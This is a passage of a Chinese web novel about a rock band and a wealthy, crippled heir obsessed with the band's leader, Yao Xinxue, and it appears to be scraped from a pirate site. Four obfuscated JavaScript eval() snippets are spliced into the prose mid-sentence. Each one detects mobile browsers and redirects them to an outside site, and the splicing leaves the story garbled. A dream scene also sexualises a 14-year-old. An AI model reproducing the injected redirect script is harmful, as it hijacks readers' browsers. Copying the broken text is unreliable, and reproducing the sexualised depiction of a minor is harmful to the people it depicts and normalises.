在下车时,薛仰春仰头看着眼前那几栋装潢精致的私立医院,忍不住撞了撞尧新橙的胳膊肘:“哎,队长是怎么认识那个贺家的少爷的,我看那个小少爷很关心队长啊,当时都快急得扑上去了。” 尧新橙不情不愿地给她解释:“他,以前,领养了,我们。” 薛仰春美丽的眼睛骤然睁大了,惊讶道:“你们两个之前还是……孤儿?还被D省首富的儿子领养了?” 楚枕石踩着双拖鞋,多日愧疚和疲惫的折磨下,心里的一块大石终于在听到尧新雪醒了的消息后落下。 他没有管薛仰春的大惊小怪,只是叹了口气:“还好我们队长福大命大,当时真给我吓死了。” 三个人嘀嘀咕咕了一路,不顾别人看他们如同看异类的目光直奔电梯。 这里的患者非富即贵,穿着精致,保安在注意到他们之后甚至犹疑地跟了上去,直到看着薛仰春砰地拉开最顶楼的病房门,哭喊道:“队长!!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748510|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尧新橙在看到尧新雪的时候,眼睛也红了,他站在尧新雪的身边,只低低地喊了句:“哥哥。” 楚枕石看到笑着的尧新雪腿都快软了,他终于长长地呼出一口气,重新拾起笑容:“队长啊,太好了,大难不死必有后福。” “夸张了,你们几个。”尧新雪笑道,他安抚性地拍了拍薛仰春的手,然后将目光落在楚枕石身上,“都还好吗?” “哎,好得很,行得训得食得屙得,看到你好更是精神百倍。”楚枕石乌拉乌拉说出一句粤语,爽朗道。 “那就好。”尧新雪点点头,然后看向尧新橙,挑起嘴角,“别担心,比赛结果怎么样?” 尧新橙稍稍冷静下来,如实道:“这一轮的,筛选推迟,直到你康复后,再重新举行,所有队伍的,成绩作废,主办方,还给我们,赔了五万。” “还不错,算有诚意。”尧新雪若有所思般点点头。 薛仰春翻了个白眼,刻薄道:“如果不是因为他们你怎么会受伤,要是没有诚意我明天就把他们告穿底裤。” 楚枕石倒是现实点,叹了口气:“如果不是你的后援团在那天天追着主办方,我估计还没有五万这个数。” “嗯,先暂时这样吧,小橙去帮我办出院,你们两个扶我一下。”尧新雪随意道。 尧新橙、薛仰春和楚枕石瞬间瞪大了眼睛,异口同声说:“你现在就要出院???” 尧新雪从容淡定道:“对。” 守在门外的贺忆舟终于忍无可忍地开门走了进来,他听完了室内的对话,气得脸色有点青,但还是尽力地保持着风度,环视了周围的人之后和尧新雪对视:“新雪,你的伤还很严重。” “在家躺着跟在这里躺着是一样的,谢谢你,忆舟。”尧新雪笑道。 “我没有要关着你的意思。”贺忆舟有些挫败地说,他半只手捂住自己的脸,仿佛不允许在场的其他人看见他的难堪,“新雪……你……” 为什么一定要离开我不可?他拧起眉,脸上仿佛一瞬间失去了生气,那后半句话被咬碎在喉咙里。 就在尧新雪准备说话的时候,门再一次被拉开,来人气喘吁吁地喊道:“尧新雪!” 所有人的目光都落在了他身上,他身后的保安还紧追不舍。 宋燃犀没想到病房里有这么多人,他看到尧新雪的样子之后,发热的脑子才一瞬间冷下来,站直之后随意道:“听说你受伤了。” 尧新雪戏谑地挑了挑眉,他打破了在场其他人短暂的思维空白,矜贵地“嗯”了声:“现在好很多了。” 贺忆舟和宋燃犀对视,看到双方时,脑子都一瞬间空白了,然后等他们反应过来后,彼此都迅速地露出了对对方的明显不屑。 在走向尧新雪身边时,宋燃犀压低了声音恶劣地对贺忆舟说:“别以为有几个臭钱就能把他怎么样。” “没有任何东西,值得他这样沉沦。”贺忆舟冷声道。 “对,除了他自己的愿望。”宋燃犀笑了一下,他凑近贺忆舟的耳边,歪了歪头,一字一顿地说,“你又是他的谁呢?表、哥。” 12. 第 12 章 在五个人的强烈要求下,尧新雪最后还是在贺忆舟的私立医院里躺了两周。 有一个男生问到了楚枕石的联系方式,想要从他那打听尧新雪的状况。 在没跟那个人接触时,楚枕石只听到舍友说一个警院的男生很着急地来找他。 楚枕石当场吓得浑身起鸡皮疙瘩,脱口而出:“虽然我对女性没兴趣,但这也不代表我喜欢男的啊!” 舍友:……别自恋了人家想问的不是你。 薛仰春听到这个乌龙时哈哈大笑,笑得连拍尧新橙的大腿,毫不留情地评价道:“哈哈笑死我了,自大狂。” 那个男生名叫迟天境,是警校的大三学生,薛仰春之所以对他有印象,是因为这个人总是站在最前排,没有一次缺席过他们的表演。 “啧啧啧。”在听到对方迫切地想知道尧新雪的情况时,薛仰春啧了声。 尧新橙的眼神则充满了敌意。 在和尧新雪确认之后,楚枕石把人带到了病房里。 “谢谢你的关心。”尧新雪温和地笑着,他的额头上仍然缠着纱布,只是微微笑着。 “没……没事的,我就是怕你,”迟天境坐在病床旁看着尧新雪,一时有些失神,直到听到身后薛仰春装模作样的假咳后,立刻有些手足无措,慌忙解释道,“我一时心急,就莽撞了,希望你们别介意,我不会把你们的联系方式和地址外泄的。看到你们好好的,我就放心了。” “哎呀得了你小子,你就是想看我们队长,关心则乱嘛,我们又不是什么大明星,你把我电话号码放出去人家还以为是骚扰电话。”楚枕石脸不红心不跳地勾着迟天境的肩膀。 “我记得你。”尧新雪弯着眼睛道,“你总是站在第一排,你叫什么名字呢?” “迟天境,迟到的迟,天空的天,境界的境。”迟天境的脸蹭地红了,他甚至有些不敢看尧新雪的眼睛。 “好,我记住了。”尧新雪说。 在迟天境走出病房时,乐队的其他三个人也跟着走了出来。 “想来就常来吧。”楚枕石一副过来人的样子,心宽地拍了拍他的肩膀。 迟天境喜上眉梢,刚想说话,尧新橙就在旁边慢慢道:“哥哥,需要,休息。” “别管他,队长天天待在病房没人陪怎么办,”薛仰春无所谓似的锤了尧新橙一拳,眉眼张扬,小声道,“而且等我们火了你可就没这个机会了。” 迟天境忙道:“好,我不会打扰他休息的。” 这四个人前脚刚走,宋燃犀后脚就到。 他本着关心邻里的理念,隔两天就去探望尧新雪一次。而他每次去都能碰见贺忆舟,在尧新雪面前,宋燃犀仍然毫不留情地翻了个白眼,而贺忆舟则很有教养地把他当作空气。 当尧新雪假装无意地问起他们是不是认识时,他们就会异口同声地说:“不认识。” 在尧新雪看不到的地方里,贺忆舟看到宋燃犀会出言嘲讽:“看看你现在混成了什么样子,我还没走两百米,就能闻到你身上的穷酸味。”说完,还装模作样地捏着鼻子,对着空气挥了挥手。 而宋燃犀的反击则是原地跳了跳,倨傲地挑眉:“可能是你走都走不快的原因吧,臭表哥。” 贺忆舟的脸色则一沉,显然宋燃犀精准地踩到了他的雷区。 两个人擦肩而过,贺忆舟低声道:“别自我感动了,你以为离开了舅父舅母你算得了什么?“ 宋燃犀冷漠道:“你也一样,臭瘸子,你以为尧新雪把你当成什么?” 双方同时冷哼一声,就这样走向两个相反的方向。 贺忆舟慢慢地,杵着拐杖一步一步地走向电梯,回过头时,恰好看到宋燃犀毫不顾忌地打开尧新雪的房门,那一瞬间,他的心仿佛抽痛了一下。 然而很快,贺忆舟就恢复了往常一样温和的表情。 走到一楼大厅时,所有人都微笑着跟他打招呼,而他则是同样地颔首回以笑意,过去十几年严苛的家教要求他,无论是在多少外人面前,他都应该保持着绅士和优雅。 而从他学会走路起,他似乎就注定要和拐杖结缘,二十年过去,他已经能够依靠着拐杖走出赏心悦目的姿态。父母曾经不惜重金想要治疗他的双脚,然而哪怕是海外最权威的医生,看到他也只能摇头。 命运多么公平,给予了他完美的身世,深爱着他的父母,却也给了他无法修改、无法逆转的残缺。 贺忆舟因为这个自卑到了骨子里,表面上却又不得不装得云淡风轻,装出与姓氏相匹配的高傲。 助手替他打开了门,并恭敬地将手抵在车顶,劳斯莱斯驶入人流,贺忆舟看着车窗上自己的身影,终于忍不住抬起手放到了自己的鼻前。 他忍不住闭上眼睛,闻着这只手留下的、隐约的味道——那是一种很淡的香根草气味,它来自尧新雪。 贺家并不是D省首富那么简单,其资产甚至能在亚洲排进前三行列,车驶进别墅,入目的先是巨大的花园,然后才是别墅群。 贺忆舟下车后,先跟母亲问好。 贺母很温柔地打量着他的脸色:“新雪好些了吗?” “嗯,他说过几周会回来看望您。”贺忆舟给她倒了杯茶。 “好,好孩子,你也早点去休息吧。”她摸了摸贺忆舟的头发。 “嗯,晚安,妈妈。”贺忆舟轻轻地亲了亲她的脸颊,然后慢慢走进电梯。 他没有回自己的房间,而是打开了过去尧新雪住着的房间,尧新雪已经离开三个月了,这里却还是保持着原来的样子。 贺忆舟锁上了房门,几乎是极为疲倦地伏上了那张床。 十年前他带着一无所有的尧新雪和尧新橙来到这里,十年后的现在,他们也一无所有地离开,仿佛早有预料到最后一定会离开一样。 贺忆舟送给他们很多东西,却无一例外地都被他们拒绝,这个偌大的房间几乎没有留下过任何生活痕迹。有时候贺忆舟会怀疑,尧新雪是否真的来过,这十年是否只是他的一场梦。 他痴迷地嗅着被单上的气味,然后失望地发现,上面残存的味道和尧新雪身上的气味已经截然不同,贺忆舟叹了口气,居然就这样迷迷糊糊地睡着了。 贺忆舟又一次梦回到了十六岁生日那天。 和记忆里的一样,贺忆舟应付着远道而来为他贺喜的宾客,然后喝了很多香槟酒。醉意让他有些轻飘飘的,环顾四周没有看到相见的人时,他终于露出了少许厌倦的神色。 贺忆舟杵着拐杖,一瘸一拐地推开厅门,走向花园。晚风轻柔地拂过,也没能拂去他脸上的烫意。 也许是潜意识里的迫切,梦境和现实有着微妙的出入,这一次他直接在巨大的喷泉后看到了浑身湿透的尧新雪。 那时候尧新雪十四岁,却已经漂亮得出奇。半透明的衬衫因为沾水而贴在他的身上,长发垂到了石台,看到贺忆舟到来,尧新雪只是微微笑着说:“你怎么现在才来找我?” 贺忆舟慢慢地走过去,靠近他,尧新雪便冷透了似的,想要寻求贺忆舟的怀抱。 他们贴得太近了,贺忆舟甚至怀疑,他灼热的呼吸会烫到尧新雪。 少年尧新雪的面容在贺忆舟颤抖的瞳孔里仿佛和今日所见时的模样重合,如同贺忆舟无比期望的那样,尧新雪将双手搭上了贺忆舟的肩膀,低头用湿漉漉的鼻尖和贺忆舟的鼻尖相碰。 和神话里令人沉沦的海妖如出一辙,贺忆舟不敢动作,僵直在原地,任由尧新雪嗅着自己。 尧新雪的目光落在他的唇上,鼻尖有意无意地蹭过贺忆舟的脸颊。 “柑橘、蜂蜜、青苹果……”尧新雪轻声道。 贺忆舟仿佛真的醉了似的,他低下头,同样看向尧新雪红润的唇,喉结紧张地微动,就在下一秒,尧新雪极轻、极轻地吻上了他的嘴唇。 贺忆舟睁开了眼睛,他感觉到自己身下的粘腻,手指下意识地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748511|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攥紧了床单。 从那一天开始,尧新雪就已经成为了贺忆舟所有梦里的主角。然而这份感情,对于尧新雪来说,会不会太肮脏了? 贺忆舟无言,他缓了好一会,才站起来准备去洗冷水澡。 当他吹干头发,坐回到书房的电脑前,他的目光落到了书桌旁边的合影。 那是他和尧新雪年少时期的合影,贺忆舟珍重地叫人洗了出来,摆在书桌前留作纪念。此刻他烦躁地拧着自己的眉,和那张合影中的尧新雪对视良久后,终于叹了口气,熄了灯。 贺忆舟在这两周里每天都会去看尧新雪,他们仿佛回到了过去一样,愉快地聊天,即使两个人都心照不宣地避开了过去一直争执不休的问题。 然而第二天,当他来到医院时,却被告知,尧新雪已经办理出院了。 贺忆舟第一次有些发怒地冷声质问道:“我不是说过,不准他离开吗?” “抱,抱歉,他告诉我们,您是知情的,我,我们就……”小护士紧张地说,她第一次见到这个年轻的少东家这么狰狞的表情。 贺忆舟沉默,良久之后,才重新拾起笑容:“抱歉,我太过着急,可能吓到你了。” 小护士摇摇头,小声地补充道:“他让我代为传达他的话,原话是:谢谢你,忆舟。” 贺忆舟的手指终于忍不住收紧,他仿佛一瞬间又被这句话触怒了,表情变得更为阴冷:从什么时候开始,尧新雪需要三番两次地和他道谢了? 这简直就像——就像要和他彻底划清界限一样。 贺忆舟冷着脸,一步一步地走向劳斯莱斯,仿佛终于忍无可忍,给司机报了一个陌生的地址。 价值高达1100万的劳斯莱斯就这样高调地开进城中村,司机打量着周围又老又烂的楼,在透过后视镜看向后座阴晴不定的小少爷,心里有些发怵。 他其实毫不怀疑,这辆车会被几个汉子逼停,自己和少爷则会被一起绑架勒索。 司机心惊胆战地将这辆车开进狭窄的巷子,小心翼翼地保证车不被剐蹭,想象中的勒索场景没有发生,他们终于安全地抵达目的地。 贺忆舟让他留在这里等候,在司机多次欲言又止的表情之下,冷漠地下了车,一瘸一拐地往居民楼走。 这里一路都是散发着恶臭的垃圾、老鼠或蟑螂的尸体,墙上贴满了广告,抬头看去,整栋楼密密麻麻地遍布着窗户,让人难以相信,每一个窗户里都住着不同的租客。 贺忆舟越是走近这栋楼,心里的怒气便越来越少,到最后几乎转为了难以呼吸的疼痛。在亲眼看到这里之前,他只知道尧新雪的地址,他根本没有想过,尧新雪居然就住在这样肮脏、拥挤的地方。 他到底做了什么啊? 在垃圾桶旁,贺忆舟看到一个乞丐。 那个乞丐蓬头垢面,正埋头翻找着垃圾桶。 贺忆舟之所以注意到他,是因为那个乞丐站立的重心明显倾向右脚。贺忆舟一眼就知道,他和自己一样,是个瘸子。 乞丐浑身散发着难以忍受的臭味,他浑然不知自己的身后站着有着一位身价千亿的少爷。 贺忆舟昂首挺胸,即使没有人看向他,他也努力地走稳,努力让手上的拐杖看上去并不重要。他和那个乞丐擦身而过,对乞丐视而不见,竭力保持着高傲的样子。 贺忆舟艰难地杵着拐杖,一步,一步地踩着晃动的楼梯往上走,直到双腿疼痛,手指发麻,他终于走到了记忆中的楼层。 贺忆舟伸出手,想要敲门,却听到门背后众人的大笑声。 他敏锐地在里面听到了尧新雪的声音,尧新雪也在笑,而贺忆舟在过去十年里从来没有听过他这样快乐的笑音。 烦躁、失落、痛苦、嫉恨、愧疚,一瞬间垒高如城堡,在贺忆舟的心底轰然坍塌了,他的手指颤抖,居然连敲下门的勇气都没有。 贺忆舟一瞬间失去了力气,他颓然地靠在墙上,闭上了眼睛。 13. 第 13 章 贺忆舟收到爱乐乐团拒信的时候,正在修剪花园里的玫瑰花。 从十五岁到二十一岁,贺忆舟已经能把拒信的评语倒背如流。他只随意地看了眼平板,就递给了管家。 他面不改色,只是用剪刀咔地一声剪掉了开得最艳的那一朵红玫瑰。 然而玫瑰花根茎的花刺还是割伤了他的手指,一道细小的血痕出现在他完好无损的指尖时,管家一下子紧张起来。 整个贺家的人都知道,他们家的这个少爷因为要拉小提琴,对双手极其爱护,不容许有一点点伤口。 “您的手受伤了……”管家再如何不愿意触他的霉头,也不得不小心翼翼地提醒道。 贺忆舟只是漠然地看着手指上猩红的血珠,平静道:“没事,我们回去吧。” 他从来不愿意由别人扶,哪怕是再远的路,也要坚持着自己一点点慢慢走回去。 管家跟在他的身后,却听到他问:“你觉得他们为什么总是拒绝我呢?” 他每日练琴的时间长达七个小时,为了能让他加入爱乐乐团,贺家为贺忆舟请了不少世界上赫赫有名的小提琴手。他足够努力,也已经足够出色,可为什么爱乐乐团给予他的只有一次又一次冷漠的拒绝? 管家不由地在心里叹了口气,他自小看着贺忆舟长大,又怎么会不知道贺忆舟最想听到的答案是什么呢? “只是因为我是残疾,他们就一而再,再而三地拒绝我而已,他们就是看不得我是个瘸子。”贺忆舟轻轻地说,他仿佛是为了让自己相信这句话一样,不断喃喃着。 管家没有说话,他谦恭地低着头,望着贺忆舟一轻一重的脚步,心底浮出一丝同情和怜悯。 因为他知道贺忆舟的说法只是自欺欺人。爱乐乐团前不久才刚刚宣布,一位只能坐在轮椅上的小提琴手的加入。 而贺忆舟之所以没有收到邀请函,是因为无论他如何努力,都成为不了真正的天才,仅此而已。 “我们去找新雪吧。”贺忆舟忽然说,他的语气因为提到这个名字柔和了一点。 “好的,您稍等。”管家应道。 贺忆舟顺从地站在原地,他握着拐杖的手慢慢地收紧。 当车开到城中村时,他没有看到尧新雪,而同样的,酒吧还没开始营业,尧新雪也不在那里。 贺忆舟的脸色越来越难看,他冷声道:“查,那个摇滚比赛是不是今天开始。” 他们跑了两趟都落空,直到来到了摇滚赛的那个地下入口。 守着门口的人不怀好意地看着贺忆舟,管家买了两张票之后,贺忆舟就想要走进去,然而守门的男人却拦住了他。 男人展示了自己手背上的印章,示意这才是真正的入场券时,贺忆舟的脸色更差了。 管家很有眼力见地上前商量着是否可以通过加价来直接进入,男人仍然死不松口。他玩味地打量着贺忆舟衣着的logo和他保养良好、毫无瑕疵的双手,精明地意识到,这个印章对眼前这位高高在上的少爷来说可能是一种羞辱。 贺忆舟冷冷地和他对视,想要见到尧新雪的迫切心情却还是压过了心底的一丝骄傲,他不得不倨傲地伸出了自己的手背。 男人在他的手背上盖上了印章,故意用印章的边缘划过他的皮肤,留下一道极浅的血痕,吊儿郎当道:“啊,抱歉。” 贺忆舟握紧了手,没有说话,他看着男人的眼神里多增添了一丝厌恶,最后只是往场内走去。 他们来晚了一点,只恰好赶上乐曲的高潮。在几百双高举摇摆的手里,贺忆舟还是一眼看见了尧新雪,他心底的焦躁奇异地在那一刻平静下来。 贺忆舟的动作一顿,愕然地睁大了眼睛,他怔愣在原地,因为听到了大提琴的声音,很快,他的耳朵也辨识出了萨克斯、小号和长号的声音,这些或明亮或沉厚的音色搭配在一起,让这狭小的场馆眨眼间变成了演奏厅。 管弦乐从四周的音响里放出,模仿成为宏大的交响曲,这些乐音是金色的,如同一列轰隆隆的火车,疾驰着碾过每一个人的心脏。 贺忆舟知道这支乐队里的人只能各司其职。即使尧新橙、薛仰春和楚枕石在各自负责的乐器里如何优于常人,也不可能做出管弦乐的编曲。 唯一的人选只有尧新雪。 因为贺忆舟钟爱古典乐,尧新雪在少年时期跟着贺忆舟时,或多或少了解过这些乐器。 但贺忆舟仍然感到难以置信,因为在没有既有团队、乐器和资金支持的前提之下,尧新雪仅靠着对乐理和各乐器音色的了解,居然只是利用着合成器就完成了管弦乐的编曲。而这段宏大的乐音几乎神乎其神,贺忆舟再如何吹毛求疵,也不得不承认它的出色。 毫无疑问的是,随着赛程的推进,尧新雪的编曲也越来越复杂,越来越华丽,他的才华仿佛永无止尽,永远能够令人感到惊喜。 贺忆舟看到尧新雪从旁边拿出了小提琴。 尧新雪的表情平静而从容,如过去贺忆舟教导着他的那样,优雅地站着,侧颈夹住小提琴。他拉动琴弓的一瞬间,在场的所有人都像惊醒一般,从浩荡无垠的历史长河中回到了当下。 疯狂的、快速的吉他声与明亮的小提琴相互呼应,完成歌词的互文,如狂风骤雨般成为玛丽王后内心歇斯底里的尖叫。 这第三首歌里,讲述了玛丽王后在结婚多年后终于为存在性功能障碍的路易十五生下皇子,王位继承人得以确认,但也因此受到野心家的憎恨,加之多年昏庸,提拔小人,终于反弹般受到了来自四面八方的攻讦。 大街小巷里无处不飘飞着诽谤她的传单与报纸,歌谣、诗歌、音乐会,无处不在露骨地唾骂她,王后不再受人爱戴,成为人人口口相传的□□——王后是婊子,皇子是野种,路易十五是个绿帽癖。 即使玛丽始终坚定地相信着王后的尊严能够保护自己,心底却仍然对这些流言愤怒至极,对巴黎人民失望至极。 尧新雪让这首歌充斥了矛盾又相融的对比,象征着人们声音、封建礼教的古典乐与象征着个人内心的、激烈的摇滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748512|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐,前奏温柔的、模仿母性的嗓音与高潮的声嘶力竭,戏剧性的对比终于完整地呈现了玛丽内心的复杂感情。 他站在舞台中央,拉动小提琴时紧紧闭上了眼睛,皱起的眉仿佛极其痛苦。 激烈的吉他、快速的鼓音和低沉的贝斯如同人们的窃窃私语围在尧新雪的周围,这个角度看过去,他仿佛成为了那个高居王座万人之上,却四面楚歌,被无数双手往下拉拽的王后。 琴弓和小提琴错位地落在尧新雪的颈前,仿佛是一个自裁的姿势。 玛丽为了满足个人享乐,无条件地给予讨好她的人官职,终于引起了众怒,这何尝不是一种自寻死路。 在间奏里,尧新雪走到了麦克风前,他看着台下眼神冷淡,开口唱道。 “路易,看看你的身后,看看你的身后。” “她得到的从来都应该是百合花和欢呼声。” …… 以速度逐渐放慢的吉他声与低沉的贝斯做结尾,这首歌终于迎来了结束。 贺忆舟久久不能回神,他还没坐到自己的座位上,属于尧新雪的表演就已经结束了。整个场馆在那一刻再次爆发出如雷的掌声和尖叫,几乎震痛贺忆舟的耳膜。 大屏幕的分数再次飙升,黑羊乐队再一次达到了现场分数的上限。 尧新雪没有转头过去看结果,他只是准确无误地看向了台下站在一侧的贺忆舟,与贺忆舟对视时温柔地一笑,仿佛是某种安慰。 这一切都是贺忆舟教给他的。 贺忆舟永远不会忘记,十年前那天他引导着尧新雪握住琴弓的样子。他站在尧新雪的身后,握着尧新雪小自己一半的手,将小提琴搭上尧新雪的肩膀。 那时候,他甚至担心着尧新雪瘦弱的身体无法承受一把小提琴的重量;如今,尧新雪已经能一个人完成小提琴的编曲并以最标准的姿势拉琴了。 经久不息的掌声里,贺忆舟感到喉咙里些许的苦涩,然而在尧新雪的注视下,他还是鼓起了掌。他慢慢地鼓掌,同样回以一个温柔的笑容。 尧新雪将目光转回了台下,他和几位队员躬身谢幕,准备下台走往后台时,却被一个声音叫住:“新雪!” 尧新雪转头看过去,只见迟天境举着一捧花,努力地向他们这边挥舞着。而当尧新雪的目光真的落在他身上时,他好像又变得不好意思起来。 尧新雪的余光扫过他手臂上搭着的警院外套,然后停了下来,向他走去。 迟天境的耳朵红得像是熟透了,他因为尧新雪的走近而惊喜得手足无措,略低头看着尧新雪,面红耳赤地将花递过去,磕磕绊绊道:“恭喜你康复出院,表演还是一如既往地精彩。” “谢谢,”尧新雪接过了花,弯了弯眼睛笑道,“等会一起吃饭吧。” “啊,好!”男生望着尧新雪,紧张得仿佛是条件反射似的,挺直了腰背,手贴住了裤缝。 “等会见。”尧新雪笑了,他将花轻轻一举,像是举杯敬酒一样向迟天境示意,然后才转过身离开。 14. 第 14 章 等尧新雪走回了幕后,贺忆舟才坐回了车里。 他没有跟上尧新雪,只是安静地坐在车里,看着他们五个人打车离开。 贺忆舟只是安静地坐着,也不出声,看上去只是在出神。 他看着车窗上自己的影子,在那一刻意识到他和尧新雪的真正差距,感到五味杂陈。 他既为尧新雪的惊才绝艳感到由衷地快乐,也为自己远不能及的才能感到难堪,然而更多的是,尧新雪最后没有走向自己感到的失落。 贺忆舟握着拐杖的手一瞬间卸了力气,转而又颤抖着握紧。 许久之后,管家才听到身后平淡的声音:“跟上他们吧。” 劳斯莱斯顺从地跟上了那辆出租车,在出租车停在一家毫不起眼的大排档时,远远地停下。 此时下起了小雨,天色渐暗,贺忆舟看着尧新雪跨出出租车,没走几步就被楚枕石勾住了肩膀,薛仰春则兴奋地在他身边说着什么,时不时转头问尧新橙。 迟天境跟在他们旁边,脸上同样带着笑意。 而尧新雪点燃了一支烟,像是被逗笑了,身体微微往前倾,快步走着像是在躲雨。 五个人就这样大笑着走进了大排档,没有人注意到不远处的劳斯莱斯。 管家识相地将车往前开,停在了大排档的对面,贺忆舟往左侧坐了一点,隔着车窗沉默地看着这四个人。 这一幕竟然和当初与尧新雪相遇的那一天隐约重合,即使发生了怪异的置换。 那天,尧新雪也是这样隔着窗,看着不远处的自己吗?他当时在想什么?十几年来,贺忆舟第一次产生了这样的想法。 他的呼吸模糊了车窗,贺忆舟用手擦了擦,借着隐约的光,看到自己手背上细小的伤口。 他只是愣了一下,然后又将手放下,依然将目光放在了不远处的尧新雪身上。 尧新雪显然是这场庆功宴的中心,其他人在欢笑着的同时,总会不自觉地看向他,而尧新雪只是微微笑着,时不时说些什么。 店面很小,柔和的灯光打在木质的桌面上,桌上是家常菜,几个人的手边是一些啤酒,是虽然极其平凡,却又极温暖的一幕。 贺忆舟感觉到心底一瞬间的刺痛感,显然,他在尧新雪心里已经是可以被那些人替代的了。什么时候,尧新雪已经把他远远甩在身后了? 就在他陷入漫长的自责时,车窗被敲响了。 贺忆舟猛地抬头,只看到尧新雪正敲着窗,带着熟悉无比的笑意弯下腰看着自己。 管家很快就把车窗降了下来,尧新雪笑着说:“忆舟。” “新雪,外面下雨了,先坐进来吧。”贺忆舟一瞬间有些手足无措,他想要开门,却被尧新雪摆摆手制止了。 “没事,只是小雨,我看到你在对面,以为你想找我。”尧新雪说。 “是,你……”贺忆舟看着尧新雪关切的、近在咫尺的脸,勉力笑了一下,他将语气放得很轻,“为什么还要去那里呢?你还受着伤,就不怕再被砸一次吗?” 尧新雪将手里的保温盒递给他,摇了摇头:“不用担心我,这是你喜欢的炸牛奶,这家店做得还不错,带回去吃吧。” “谢谢,”贺忆舟微微仰起头,心里终于回暖了一点,却还是认真地说,“我不能不担心你,当时看到你……我差点……我不能装作这件事没有发生过,如果你还参加这个比赛,那这个风险就仍然存在。” 回忆起那时的场景,贺忆舟痛苦地皱起眉,他恳求般看向尧新雪:“为什么,为什么你就非做不可,非要一意孤行?” 尧新雪却似乎毫无触动,他的眼神淡漠、厌倦得有那么一瞬间让贺忆舟感到陌生。 然而他很快就又恢复平常温柔的样子,他将双手压在车窗上,和贺忆舟平视,像哄孩子似的:“忆舟,我不会放弃这个比赛,因为我需要这个比赛。” 说完这句话之后,他就注意到了贺忆舟手背上的伤口:“你的手受伤了。” 贺忆舟的脸色早已因为他的话变得苍白,尧新雪的话好像彻底宣告了他被遗弃了一样,贺忆舟轻声问:“我不可能让你回心转意是吗?这条路不是你想得那么容易的。” 尧新雪看着贺忆舟的眼神似乎有些遗憾,他回答道:“然而我还想走下去。” 两人的谈话以不欢而散告终,车往前开去,贺忆舟升上了车窗。他紧绷着脸,眼眶却红了,他竭力不让自己回头看尧新雪,只是挺直着自己的腰背。 尧新雪看着车逐渐驶远,直到消失在视野尽头才转过身走向其他四个人。 几个人胡吃海喝了一顿才散场,楚枕石负责送薛仰春回去,迟天境因为明天有课所以没有喝酒,尧新雪则将喝得不省人事的尧新橙回租房。 尧新橙喝醉时不会耍酒疯,任何时候,他都是极听尧新雪的话的。尧新雪给他擦干净脸和颈,又让他喝了点水之后就让他睡下。 就在尧新雪准备起身时,尧新橙拉住了他的衣角,黏黏糊糊地说:“哥哥……” “嗯?”尧新雪回头看向他。 “我会……一直在……你身边。”尧新橙闭着眼睛,仿佛只是在说梦话。 他其实知道贺忆舟都对尧新雪说了什么,但没喝醉的时候却什么都不会说。仿佛只有凭借着酒精,才敢对着尧新雪说这样直白的话,以作笨拙的安慰。 尧新橙蜷起来,睡着时仍然惦念着给尧新雪留位置,乖巧地睡在一侧。他的头发孩子气地卷着,尧新雪无言地看了他一会之后,给他盖好了被子。 就在尧新雪出神之际,宋燃犀从过道处探出个脑袋,小声地叫了声尧新雪,然后暗示性明显地摇了摇手里的啤酒。 尧新雪无奈地走过去,压低了声音问他:“你想我一晚上伺候两个醉鬼吗?” 宋燃犀期待的眼神一下就变得不悦,他不情不愿地说:“我酒量又不差,在我那喝谁要你伺候了,你就这么不想跟我庆祝黑羊四进二?” 尧新雪看着他变脸这么快,忍不住笑了,顾及到尧新橙在睡觉,他只是挑眉轻声道:“想,不过我没想到你居然知道。” 宋燃犀仿佛被戳穿了什么心事,表情略有些不自在,转过身强词夺理道:“别人说给我听的。” 猫此刻正睡在宋燃犀用毯子围成的小窝里,尧新雪坐在窗台上,开了一听啤酒。 从窗外看去,能看到楼下堆积如山的垃圾和远处灯火通明的高楼大厦。夜色极深,远处斑斓的灯光隔着这层玻璃,落在尧新雪的眼里,像极了透着鱼缸看物像。 “你这里风景挺好。”尧新雪靠着玻璃窗懒懒道。 “那就常来呗。”宋燃犀说,意识到自己说了什么之后又不自然地咳了一声。 “现在不是来了吗?尧新雪似笑非笑地将自己手里的啤酒和他的相碰,“你不是来祝贺我的吗?” “嗯,恭喜你们晋级,马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 